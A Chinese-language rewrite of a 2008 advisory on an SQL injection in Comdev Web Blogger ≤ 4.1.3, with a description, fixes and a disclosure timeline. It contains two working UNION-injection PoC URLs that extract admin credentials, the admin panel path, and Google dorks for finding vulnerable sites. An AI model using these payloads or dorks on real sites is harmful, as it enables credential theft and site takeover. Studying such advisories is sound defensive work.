早在2008年,Comdev Web Blogger 便曝光了一个典型的 SQL 注入漏洞,影响范围覆盖至 4.1.3 版本。尽管年代久远,这类经典漏洞的攻击手法在当前的安全审计中依然具有重要的参考价值——尤其是当开发者忽略了最基本的输入过滤时,历史往往会重演。下面将详细解析该漏洞的成因、利用方式以及修复建议。
Comdev Web Blogger ≤ 4.1.3 (arcmonth) SQL注入漏洞详解
漏洞概要
作者:M.Hasran Addahroni
日期:2008年7月14日
地点:印度尼西亚,雅加达
严重级别:中危
潜在影响:系统访问权限
攻击来源:远程
受影响软件描述
应用:Comdev Web Blogger
版本:≤ 4.1.3
厂商:https://www.comdevweb.com/blogger.php
Comdev Web Blogger 为用户提供了创建和管理博客的完整能力,支持多用户协作、照片上传、评论权限控制、RSS 订阅、搜索功能以及日历归档等丰富特性。然而,业务功能越复杂,攻击面也越容易暴露——特别是在旧版 PHP 应用中,SQL 注入几乎是“标配”安全风险。
漏洞详情
问题出在博客页面的 arcmonth 参数上。该参数在传入 SQL 查询之前,未经任何有效的验证或过滤。攻击者完全可以通过浏览器构造恶意输入,直接操纵后台的 SQL 语句。
更致命的是,成功利用这个漏洞后,攻击者能够以明文形式提取管理员和普通用户的用户名与密码。当然,这里有一个前提条件:服务器的 magic_quotes 功能必须处于关闭状态——这在当时不少廉价的虚拟主机中十分常见,也使得该漏洞的利用门槛进一步降低。
PoC / 利用示例
以下两个请求展示了如何利用 arcmonth 参数进行 UNION 查询注入,从而窃取管理员凭据:
https://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007&arcmonth=-1 union select 1,concat(username,0x3a,password),3,4,5,6 from sys_user--
https://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007&arcmonth=-11 union select 1,username,3,password,5,6 from sys_user/*
后台管理入口通常位于:https://www.example.com/[PATH]/oneadmin/。攻击者一旦拿到密码,便可直接登录后台,获取完整的站点控制权。
Google Dork 搜索语法
如果你想快速定位互联网上可能存在的脆弱站点,可以使用以下搜索语法:
"Powered by Comdev Web Blogger"或allinurl:".php?domain= arcyear=2007 arcmonth"
修复方案
针对此漏洞,当时有两种主要的缓解手段:
- 代码层面:编辑源代码,确保所有用户输入(尤其是
arcmonth参数)在进入 SQL 查询前都经过严格的校验,例如强制转换为整型,或者使用预处理语句与参数化查询。 - 配置层面:在
php.ini中开启magic_quotes功能(虽然这只是临时方案,后续版本中该特性已被移除,但当时确实能拦住一批基础攻击)。
从今天的视角看,最彻底的修复是全面改用参数化查询或 ORM 框架,彻底杜绝 SQL 注入的生存空间,从而提升整体应用的安全性。
时间线
- 2008-07-11:发现漏洞
- 2008-07-11:联系厂商
- 2008-07-14:发布安全公告
